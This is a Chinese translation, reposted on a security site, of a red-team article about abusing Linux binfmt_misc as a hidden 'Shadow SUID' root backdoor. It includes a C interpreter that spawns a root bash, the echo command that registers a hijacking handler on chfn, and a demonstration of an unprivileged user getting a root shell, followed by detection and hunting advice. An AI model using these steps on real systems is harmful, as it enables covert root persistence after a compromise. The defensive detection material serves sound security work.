利用binfmt_misc注册SUID二进制作为Linux后门

admin 2025-12-26 01:48:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了利用Linuxbinfmt_misc机制实现ShadowSUID后门的技术。攻击者注册解释器规则劫持SUID二进制文件执行流,使解释器继承root权限,无需显式SUID位即可维持访问。该技术隐蔽性强且难以被常规扫描发现,建议防御者监控binfmt_misc注册表及指向可疑目录的解释器以进行检测。 综合评分: 90 文章分类: 红队,内网渗透,渗透测试


cover_image

利用binfmt_misc注册SUID二进制作为Linux后门

aeverj

红队工坊

2025年12月25日 06:00 北京

翻译自 Today I learned: binfmt_misc

引言

binfmt_misc(Binary Format Miscellaneous 的缩写)是 Linux 内核的一项功能,它允许系统根据自定义的二进制格式来识别和执行文件。这是二进制格式(Binary Format,简称 binfmt)子系统的一部分,该子系统决定了内核如何运行可执行文件。

通常情况下,Linux 只知道如何运行原生二进制文件(比如为系统 CPU 架构编译的 ELF 文件,以及其他几种文件类型)。binfmt_misc 扩展了这一能力,允许其他类型的文件——脚本、其他架构的二进制文件,甚至自定义文件类型——像原生文件一样被执行。

当你启用 binfmt_misc 时,内核会添加一个虚拟文件系统(通常挂载在 /proc/sys/fs/binfmt_misc/)。在这个文件系统中,你可以注册新的二进制格式处理器。每个处理器会告诉内核:

  • 如何识别一个文件(例如,通过魔术字节或文件扩展名)
  • 使用什么解释器或模拟器来运行它
  • 当匹配的文件被执行时,内核会自动调用指定的解释器,并将该文件作为参数传递给它

binfmt_misc 通过 /proc/sys/fs/binfmt_misc 进行管理。默认情况下,该文件夹中有两个文件:register 和 status。要实际注册一个新的二进制类型,你需要构造一个如下格式的字符串:

:name:type:offset:magic:mask:interpreter:flags

(其中冒号可以根据需要自行选择),然后将其 echo 到 /proc/sys/fs/binfmt_misc/register。[binfmt-misc 手册页] https://docs.kernel.org/admin-guide/binfmt-misc.html 详细介绍了各种标志的用法。

为什么要关注?

简而言之binfmt_misc 提供了一种巧妙的方法(一旦攻击者在机器上获得 root 权限),可以创建一个小后门,在原始访问方式失效时重新获得 root 访问权限。根据相关博客文章和文章,这种机制并不广为人知,这使它成为保持隐蔽的完美选择。

2019 年,SentinelOne 发布了一份两部分的分析,描述了一种名为 Shadow SUID 的持久化技术([第一部分] https://www.sentinelone.com/blog/shadow-suid-for-privilege-persistence-part-1/,[第二部分] https://www.sentinelone.com/blog/shadow-suid-privilege-persistence-part-2/):Shadow SUID 与常规的 suid 文件相同,只是它没有 setuid 位,这使得它非常难以发现或注意到。Shadow SUID 的工作原理是通过 binfmt_misc 机制从现有的 setuid 二进制文件继承 setuid 位,这是 Linux 内核的一部分。

有趣的是,这项技术似乎再次被遗忘了,因为 [MITRE ATT&CK] https://attack.mitre.org/matrices/enterprise/linux/ 和 Elastic Security 的五部分”Linux 持久化检测工程”系列都没有提到它(最后一部分[在这里] https://www.elastic.co/security-labs/the-grand-finale-on-linux-persistence,其中包含所有其他部分的链接)。然而,截至 2025 年,这项技术运作得非常好,而且可能很难被检测到(见后面的狩猎部分)。

建立我们的后门

一个 binfmt_misc 规则通过 C(credentials,凭证)标志注册。该标志改变了正常行为:内核不是使用解释器的权限,而是从被执行的原始文件中查找访问权限。如果原始文件是 setuid-root,解释器就会以 root 身份运行。(C 也隐含了 O,即”为不可读文件打开文件描述符”标志。)

在 SentinelOne 的演示中,他们注册了一个 binfmt_misc 规则,该规则匹配所选 SUID 二进制文件的前 128 个字节(例如 ping)。然后,当你”运行 ping”时,内核会调度到攻击者的解释器,但使用 ping 的 setuid 凭证,因此解释器实际上是 root。这就是为什么看起来”脚本”或二进制文件(即解释器)被解释为 SUID。让这个概念沉淀一下……我读了几遍才理解这个概念。但它确实有效,我们将在下面看到!

首先,我们检查 binfmt_misc 是否已挂载:

# mount | grep binfmt_misc
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)

为了设置我的解释器,我密切遵循了 0xdf 对 HTB 机器 [Retired] https://0xdf.gitlab.io/2022/08/13/htb-retired.html#abuse-binfmt_misc 的报告:

#define _GNU_SOURCE
#include&nbsp;<stdlib.h>
#include&nbsp;<unistd.h>

int main(void) {
&nbsp; &nbsp; char *const paramList[10] = {"/bin/bash",&nbsp;"-p", NULL};
&nbsp; &nbsp; const int&nbsp;id&nbsp;= 0;
&nbsp; &nbsp; setresuid(id,&nbsp;id,&nbsp;id);
&nbsp; &nbsp; execve(paramList[0], paramList, NULL);
return&nbsp;0;
}

使用 gcc -o malmoeb malmoeb.c 编译解释器。接下来,我们需要找到一个合适的 SUID 二进制文件:

root@binfmt_misc:/dev/shm# find / -perm -4000 2>/dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
[..]

等等,chfn?Linux 上的 chfn 二进制文件是一个遗留的命令行工具,用于更改用户的”finger”信息。全名、办公室号码或电话号码等详细信息存储在 /etc/passwd 的 GECOS 字段中。尽管今天很少使用,但它仍然默认安装,因为它是标准 shadow 或 util-linux 包的一部分,该包提供核心的用户管理实用程序,如 passwd 和 chsh。保留 chfn 可以确保与仍然依赖传统 Unix 账户管理工具的旧脚本和系统的向后兼容性,尽管大多数现代环境不再使用 finger 服务或其相关数据。

SentinelOne 在他们的演示中使用了 ping 实用程序,但这种方法的缺点是会破坏命令的正常功能。不过,他们也发布了一些巧妙的解决方法,尽管那些方法更复杂。通过使用像 chfn 这样的遗留命令,这个额外的步骤很可能是不必要的(因为几乎没有人再使用该命令)。

这里我们从 chfn 中提取魔术字节(十六进制),以创建一个新的处理器。

cat&nbsp;/usr/bin/chfn | xxd -p |&nbsp;head&nbsp;-1 | sed&nbsp;'s/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00

我们组装所需的字符串,并将这个字符串(以 root 身份)echo 到 /proc/sys/fs/binfmt_misc/register

echo':malmoeb:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00::/dev/shm/malmoeb:C'&nbsp;> /proc/sys/fs/binfmt_misc/register

这可以分解为(再次感谢 0xdf):

  • name – malmoeb(任意)
  • 使用魔术字节
  • 无偏移
  • 匹配 chfn 前 30 个字节的签名
  • 无掩码
  • 解释器为 /dev/shm/malmoeb
  • C 标志

malmoeb 成功创建为新处理器。指向我们的解释器:

root@binfmt_misc://proc/sys/fs/binfmt_misc#&nbsp;cat&nbsp;malmoeb
enabled
interpreter /dev/shm/malmoeb
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000007200000000

现在,当我们执行 chfn 时……

malmoeb@binfmt_misc:~$&nbsp;id
uid=1000(malmoeb) gid=1000(malmoeb)&nbsp;groups=1000(malmoeb)
malmoeb@binfmt_misc:~$ chfn
root@binfmt_misc:/home/malmoeb#

天哪 – 这真的有效! 作为一个非特权用户,我只需输入 chfn 就能获得 root shell!

狩猎

SUID 搜索(通常用于狩猎)不会标记我们的解释器二进制文件,因为我们没有在此文件上设置 SUID 权限。一种技术是专门检查已注册的处理器:

$&nbsp;ls&nbsp;-la /proc/sys/fs/binfmt_misc

或者监控 /proc/sys/fs/binfmt_misc/ 以查找新的或更改的处理器;对任何注册事件发出警报。接下来,应该对解释器路径指向可写或临时位置(例如 /tmp、/dev/shm、用户主目录等)的处理器发出警报。然而,这可能不是一个强有力的检测方法,因为你已经需要 root 权限来安装这种机制。所以你可以在系统的任何地方创建可执行文件。

好消息是 – 我们注册的处理器只是临时的,这意味着当系统重启时,我们的处理器就会消失。如果攻击者想通过这种技术保持长期访问,他们必须设置另一种机制来重新安装处理器/解释器,这给了我们另一个抓住他们的机会。

让我们问问专家

所以,我向该领域的真正专家 [Ruben Groenewoud] https://www.linkedin.com/in/ruben-groenewoud/(Elastic 高级安全研究工程师)询问了他对此的看法,特别是关于检测方面。

由于执行步骤主要依赖于使用内置的 shell 工具、/proc 文件系统和劫持执行流,因此可以捕获的痕迹非常有限……这里执行链最有趣的部分是,chfn 甚至从未被执行;这是一个代理执行。

Image 1: Proxy execution

图 1:代理执行

因此,我创建的规则,如 [https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml] https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml 不会触发,因为 chfn 从未自行执行。

从攻击链的角度来看,被我的规则标记的两个步骤是十六进制有效载荷的执行(因为你使用 xxd -p 抓取了内存)和 SUID/SGUID 枚举,但从对手的角度来看,这两个步骤并非必需。

非常有趣!确实如此 – SUID/SGUID 枚举和 xxd -p 命令在我们的目标主机上执行并非严格必要。Ruben 将更深入地研究这项技术,我相信他会想出一些很酷的检测方法 😃

请在微信客户端打开

延伸阅读

  • [在 Linux 中将 Go 用作脚本语言] https://blog.cloudflare.com/using-go-as-a-scripting-language-in-linux/ 来自 Cloudflare,解释了 Go(通常是一种编译语言)如何在 Linux 系统上像脚本语言一样使用。文章描述了使用 Linux 的 binfmt_misc 功能将 Go 源文件注册为可执行文件。通过创建一个小的包装器(例如 gorun 命令)并将其与 Go 文件关联,用户可以使 .go 脚本可执行,并像 shell 脚本一样直接运行它们。
  • [关于 BINFMT_MISC] https://benjamintoll.com/2021/12/31/on-binfmt_misc/ 由 Benjamin Toll 撰写,解释了 Linux 功能 binfmt_misc 如何允许操作系统将任意文件类型视为可执行文件。当文件运行时,内核可以根据其格式或魔术数字自动将其传递给指定的解释器,而不仅仅是其扩展名。

如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号

在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!

免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:红队工坊 aeverj《利用binfmt_misc注册SUID二进制作为Linux后门》

评论:0   参与:  2